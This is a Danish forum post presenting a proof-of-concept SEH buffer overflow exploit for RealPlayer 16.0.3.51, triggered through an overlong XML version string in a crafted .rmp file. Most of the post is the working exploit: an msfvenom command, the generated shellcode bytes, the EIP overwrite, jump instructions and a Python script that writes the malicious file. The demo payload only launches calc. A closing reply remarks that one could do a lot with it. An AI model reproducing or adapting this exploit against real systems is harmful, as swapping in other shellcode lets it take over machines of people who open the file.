Shellsec

Fuld version: RealPlayer 16.0.3.51 version overflow SEH PoC
Du ser lige nu en skrabet udgave af vores indhold. Se den fulde version med ordentlig formatering.
Sad lige og legede med RealPlayer da jeg havde set på exploit-db at der var en buffer overflow.

Buffer overflow opstår i programmet når den et sted prøver at læse versions nummeret som er defineret i filen med:
Kode:
<?xml version="OVERFLOWHERE"?>

Der er 2 offset for at lave et succesfyldt exploit. Jeg har dog kun dækket det når man åbner filen fra menuen.

Når man dobbeltklikker på .rmp filen vil man bruge nogle andre offset. Dette kunne godt tilføjes til nuværende, men magtede ikke at lave det. Opdatere måske med det.

Tror vidst nok jeg rammer min nopsled, da jeg ikke hopper helt præcist. Som i kan se er bufferen med shellcode lagt lige inden mine jmps.

Testet på Windows XP sp3 eng

Shellcode er genereret med
Kode:
./msfvenom -p windows/exec CMD=calc -f python -b '\x0a\x00\xf0\xad\xc4\xe7\x8f\xfe\x62\xfd\xde\xdf\xc8'
Dette åbner som i kan se, calc


openh = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22"
closeh = "\x22\x3f\x3e\x3b"

buf = ""
buf += "\xbf\x67\x53\x20\x02\xdd\xc1\xd9\x74\x24\xf4\x58\x2b"
buf += "\xc9\xb1\x32\x31\x78\x12\x83\xc0\x04\x03\x1f\x5d\xc2"
buf += "\xf7\x23\x89\x8b\xf8\xdb\x4a\xec\x71\x3e\x7b\x3e\xe5"
buf += "\x4b\x2e\x8e\x6d\x19\xc3\x65\x23\x89\x50\x0b\xec\xbe"
buf += "\xd1\xa6\xca\xf1\xe2\x06\xd3\x5d\x20\x08\xaf\x9f\x75"
buf += "\xea\x8e\x50\x88\xeb\xd7\x8c\x63\xb9\x80\xdb\xd6\x2e"
buf += "\xa4\x99\xea\x4f\x6a\x96\x53\x28\x0f\x68\x27\x82\x0e"
buf += "\xb8\x98\x99\x59\x20\x92\xc6\x79\x51\x77\x15\x45\x18"
buf += "\xfc\xee\x3d\x9b\xd4\x3e\xbd\xaa\x18\xec\x80\x03\x95"
buf += "\xec\xc5\xa3\x46\x9b\x3d\xd0\xfb\x9c\x85\xab\x27\x28"
buf += "\x18\x0b\xa3\x8a\xf8\xaa\x60\x4c\x8a\xa0\xcd\x1a\xd4"
buf += "\xa4\xd0\xcf\x6e\xd0\x59\xee\xa0\x51\x19\xd5\x64\x3a"
buf += "\xf9\x74\x3c\xe6\xac\x89\x5e\x4e\x10\x2c\x14\x7c\x45"
buf += "\x56\x77\xea\x98\xda\x0d\x53\x9a\xe4\x0d\xf3\xf3\xd5"
buf += "\x86\x9c\x84\xe9\x4c\xd9\x7b\xa0\xcd\x4b\x14\x6d\x84"
buf += "\xce\x79\x8e\x72\x0c\x84\x0d\x77\xec\x73\x0d\xf2\xe9"
buf += "\x38\x89\xee\x83\x51\x7c\x11\x30\x51\x55\x72\xd7\xc1"
buf += "\x35\x75"





print len(buf)

eip = "\xd9\xee\x1e\x64"
jmp_bck_5 = "\xeb\xf9\xcc\xcc"


jmp_bck_446 = "\xe9\x3d\xfe\xff\xff"
jmp_bck_650 = "\xe9\x71\xfd\xff\xff"
jmp_bck_197 = "\xe9\x36\xff\xff\xff"
jmp_bck_224 = "\xe9\x1b\xff\xff\xff"

payload = openh + "\x90" * (13595-len(buf)) + buf + jmp_bck_224 + jmp_bck_5 + eip + "\x43" * 16394 + "\x44" * 10000 + closeh

sploit = open('hax.rmp', 'w')
sploit.write(payload)
Lækkert! Det kunne man udrette meget med.. ;)
Ser sgu godt ud ;)